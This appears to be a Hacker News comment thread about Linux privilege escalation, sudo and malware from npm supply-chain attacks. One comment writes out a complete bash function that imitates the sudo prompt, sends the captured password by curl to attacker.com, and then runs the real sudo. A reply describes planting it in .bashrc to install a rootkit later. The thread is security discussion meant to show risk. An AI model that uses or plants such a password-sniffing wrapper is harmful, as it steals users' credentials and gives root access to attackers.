7 ms·

[On Linux:] If you didn't give yourself "free" (passwordless) sudo, that's not necessary… …unless it happened in a week with 2 and a half Linux kernel LPEs.

• dgellow 5mo ago
  You should assume other LPEs exist though
• Gigachad 5mo ago
  On linux realistically whatever user you installed the malicious NPM package with has access to everything you care about anyway.
  • lrvick 5mo ago
    Every user, since privesc is so easy on most operating systems.
    • Gigachad 5mo ago
      Sure, without exploits they can steal your api keys, read your personal data, and access your browser data. With exploits they can update packages on your computer too.
      • lrvick 5mo ago
        No exploits needed. A simple shell alias will suffice. See my example in sibling comment.
  • deleted 5mo ago
    [deleted]
  • silon42 5mo ago
    I had an idea to always run 2 users, the "main" one (or more) and a "project one"... one could sudo to the project user, but that one could not sudo out... (npm would only be installed for the project user).
• lights0123 5mo ago
  Until it overrides sudo in your $PATH to install malware after you enter your password later.
  • ChocolateGod 5mo ago
    Any application running as a user with sudo access and RW permissions on the users home folder effectively has root permissions, it'll just take a little longer to get it. That's why Flatpaks sandbox doesn't exist if the application has access to the home folder.
• lrvick 5mo ago
  Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p=<-' https://attacker.com >/dev/null 2>&1; $realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1; $realsudo "${@:1}"; }
  • DonHopkins 5mo ago
    Just sudon't.
  • nazcan 5mo ago
    To clarify, when does this run? Like you download malware A, run malware A and this function definition changes sudo for it, or sudo for other cases?
    • lrvick 5mo ago
      This could for instance be injected into your .bashrc when you do an "npm install" of a package that has a deeply nested supply chain attack. Then the next time you run sudo, phase2 triggers installing a rootkit, etc.
      • arcfour 5mo ago
        Or you could also hijack it using $PATH search order with your wrapper to get existing terminal sessions too, there's a lot of ways to skin that cat.
        • lrvick 5mo ago
          Endless ways, which is why I do not understand why sudo is ever used anymore, especially in production. You do not need root to do anything in Linux these days anyway between Namespaces and Capabilities so there is really no reason for root to be accessible at all or have any processes running as root post boot.
• stogot 5mo ago
  There numerous ways to root Linux over the decades
• WatchDog 5mo ago
  There a million ways that malware can persist without root.
  • btown 5mo ago
    And I'm increasingly concerned that one could vibe-code a massive payload that does all of these at once - including subtle things like trying to get itself installed into personal projects and forks, so it can persist across a system wipe. We're only seeing the beginning of these attacks.
• walletdrainer 5mo ago
  What leads people to believe things like this?
• kro 5mo ago
  Next easy attack vector is (non-rootless) docker run with rootfs mount, many are in docker group even when sudo is protected. Also, most sensitive data is in the user scope anyways (on a PC). You should always run dev stuff in containers to start with. And when your system is compromised, reprovision from a higher scope, too many places to hide backdoors